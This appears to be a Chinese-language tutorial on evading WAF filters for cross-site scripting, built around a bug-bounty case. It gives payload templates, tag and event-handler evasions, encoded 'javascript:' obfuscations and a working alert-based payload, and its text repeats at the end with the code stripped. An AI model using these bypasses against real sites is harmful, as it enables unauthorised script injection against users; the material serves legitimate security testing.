一次"艰难"的XSS Bypass之旅
字数 1266 2025-08-26 22:11:45

XSS Bypass技术深度解析与实战指南

1. XSS基础与测试方法论

1.1 XSS测试流程

  1. 参数枚举:使用Burp Suite等工具枚举所有可能的反射型参数
  2. 主动扫描:利用Burp的"Actively scan defined insertion points"功能扫描URL参数
  3. API发现:使用LinkFinder等工具枚举所有接口,发现潜在漏洞点

1.2 反射型XSS识别

  • 测试参数值是否被反射到响应中
  • 检查反射位置(HTML标签内、属性值、JavaScript代码中等)

2. XSS Payload构造原理

2.1 基本Payload结构

{TAG}{EVENT}={PAYLOAD}

其中:

  • TAG: HTML标签
  • EVENT: 事件处理器
  • PAYLOAD: 执行的JavaScript代码

2.2 标签测试策略

  1. 测试常见标签是否被过滤:
    <script>, , <a>, <body>, <html>, <meta>, <xml>, <object>
    
  2. 尝试替代标签:
    • <svg>标签通常比``更容易绕过
    • <image>标签可能未被过滤而``被过滤

3. WAF绕过技术详解

3.1 标签名称绕过

  1. 大小写混合:
    <sCriPt>, <ObJeCt>
    
  2. 特殊字符插入:
    <d|3v>, <x<dev>
    
  3. 填充字符测试:
    <tag%0axxx>  <!-- 测试换行符 -->
    <tag%0dxxx>  <!-- 测试回车符 -->
    <tag%09xxx>  <!-- 测试制表符 -->
    <tag/xxx>    <!-- 测试斜杠 -->
    

3.2 事件处理器绕过

  1. 常见事件处理器黑名单:
    on(load|click|error|show)
    
  2. 非常用事件处理器:
    onauxclick, ondblclick, oncontextmenu, onmouseleave, ontouchcancel
    
  3. 事件处理器测试方法:
    <tag{filler}onxxx>  <!-- 测试通用正则 -->
    <tag{filler}onclick>  <!-- 测试黑名单 -->
    

3.3 JavaScript执行方式

  1. 传统方式:
    alert(1), prompt(1), confirm(1)
    
  2. 反引号替代括号:
    alert`1`, prompt`1`
    
  3. 注释干扰:
    alert(/*xnxx.com*/1)
    

4. 不同上下文下的XSS技术

4.1 HTML上下文

  1. 外部标签

    <span>注入点</span>
    

    Payload结构:

    <{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
    
  2. 内部标签属性

    <input type="text" value="注入点">
    

    Payload结构:

    ">{payload} 或 " onfocus="alert(1) x="
    

4.2 JavaScript上下文

  1. 字符串变量

    var name = '注入点';
    

    Payload结构:

    ';alert(1);//
    
  2. 代码块绕过

    if (a > b){ xnxx_func('');}}alert();if(true){('');
    

    使用注释和特殊字符:

    ');%0a}%0d}%09alert();/*xnxx.com*/if(true){//xnxx.com%0a('
    

4.3 特殊标签处理

  1. srcdoc属性

    <iframe srcdoc="注入点">
    

    使用HTML实体编码:

    &lt;svg/onload=alert()&gt;
    
  2. 非执行上下文

    <!-- 注入点 -->
    <style>, <title>, <noembed>, <template>, <noscript>, <textarea>
    

    需要先闭合标签:

    </tag>{可执行payload}
    

5. 高级混淆技术

5.1 JavaScript协议混淆

  1. 基本检测模式:
    href[\s]{0,}=[\s]{0,}javascript:.
    
  2. 混淆技术:
    j%0aAv%0dasCr%09ipt:
    J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
    &#74;avascript&colon;
    jav&#x61;&#115;cript:
    

5.2 数字字符编码

  1. 十进制编码:
    &#74;avascript&colon;
    
  2. 十六进制编码:
    jav&#x61;&#115;cript:
    
  3. 混合技术:
    &#74;ava%0a%0d%09script&colon;
    

6. 实战案例解析

6.1 成功Payload示例

gridview=%27&'/>%20<svg/onauxClick%3D"alert`HackerOne`"</svg>='&asd

关键点:

  1. 使用svg标签绕过标签过滤
  2. 使用onauxClick事件绕过事件处理器黑名单
  3. 使用反引号`替代括号执行JavaScript

6.2 防御措施分析

  1. 常见WAF产品:

    • ModSecurity
    • Wordfence
    • Cloudflare
    • Akamai
    • Comodo
    • F5
  2. 绕过思路:

    • 测试WAF规则边界
    • 使用非常用标签和事件
    • 利用HTML解析特性

7. 测试工具与资源

7.1 推荐工具

  1. Burp Suite:用于参数枚举和扫描
  2. LinkFinder:用于API端点发现
    https://github.com/GerbenJavado/LinkFinder
    

7.2 学习资源

  1. OWASP XSS文档:
    https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
    
  2. 高级绕过技术:
    https://0x00sec.org/t/fun-bypass-xss-detection-waf/12228
    

8. 总结与最佳实践

  1. 系统化测试:从标签、事件、payload结构三个维度系统测试
  2. 上下文感知:根据注入点位置选择合适的技术
  3. 混淆组合:混合使用多种混淆技术提高成功率
  4. 持续更新:关注新的HTML5特性及浏览器解析差异

通过掌握这些技术,安全测试人员可以更有效地发现和验证XSS漏洞,同时也有助于开发人员构建更安全的Web应用。

XSS Bypass技术深度解析与实战指南 1. XSS基础与测试方法论 1.1 XSS测试流程 参数枚举 :使用Burp Suite等工具枚举所有可能的反射型参数 主动扫描 :利用Burp的"Actively scan defined insertion points"功能扫描URL参数 API发现 :使用LinkFinder等工具枚举所有接口,发现潜在漏洞点 1.2 反射型XSS识别 测试参数值是否被反射到响应中 检查反射位置(HTML标签内、属性值、JavaScript代码中等) 2. XSS Payload构造原理 2.1 基本Payload结构 其中: TAG : HTML标签 EVENT : 事件处理器 PAYLOAD : 执行的JavaScript代码 2.2 标签测试策略 测试常见标签是否被过滤: 尝试替代标签: <svg> 标签通常比 `` 更容易绕过 <image> 标签可能未被过滤而 `` 被过滤 3. WAF绕过技术详解 3.1 标签名称绕过 大小写混合: 特殊字符插入: 填充字符测试: 3.2 事件处理器绕过 常见事件处理器黑名单: 非常用事件处理器: 事件处理器测试方法: 3.3 JavaScript执行方式 传统方式: 反引号替代括号: 注释干扰: 4. 不同上下文下的XSS技术 4.1 HTML上下文 外部标签 : Payload结构: 内部标签属性 : Payload结构: 4.2 JavaScript上下文 字符串变量 : Payload结构: 代码块绕过 : 使用注释和特殊字符: 4.3 特殊标签处理 srcdoc属性 : 使用HTML实体编码: 非执行上下文 : 需要先闭合标签: 5. 高级混淆技术 5.1 JavaScript协议混淆 基本检测模式: 混淆技术: 5.2 数字字符编码 十进制编码: 十六进制编码: 混合技术: 6. 实战案例解析 6.1 成功Payload示例 关键点: 使用 svg 标签绕过标签过滤 使用 onauxClick 事件绕过事件处理器黑名单 使用反引号 ` 替代括号执行JavaScript 6.2 防御措施分析 常见WAF产品: ModSecurity Wordfence Cloudflare Akamai Comodo F5 绕过思路: 测试WAF规则边界 使用非常用标签和事件 利用HTML解析特性 7. 测试工具与资源 7.1 推荐工具 Burp Suite :用于参数枚举和扫描 LinkFinder :用于API端点发现 7.2 学习资源 OWASP XSS文档: 高级绕过技术: 8. 总结与最佳实践 系统化测试 :从标签、事件、payload结构三个维度系统测试 上下文感知 :根据注入点位置选择合适的技术 混淆组合 :混合使用多种混淆技术提高成功率 持续更新 :关注新的HTML5特性及浏览器解析差异 通过掌握这些技术,安全测试人员可以更有效地发现和验证XSS漏洞,同时也有助于开发人员构建更安全的Web应用。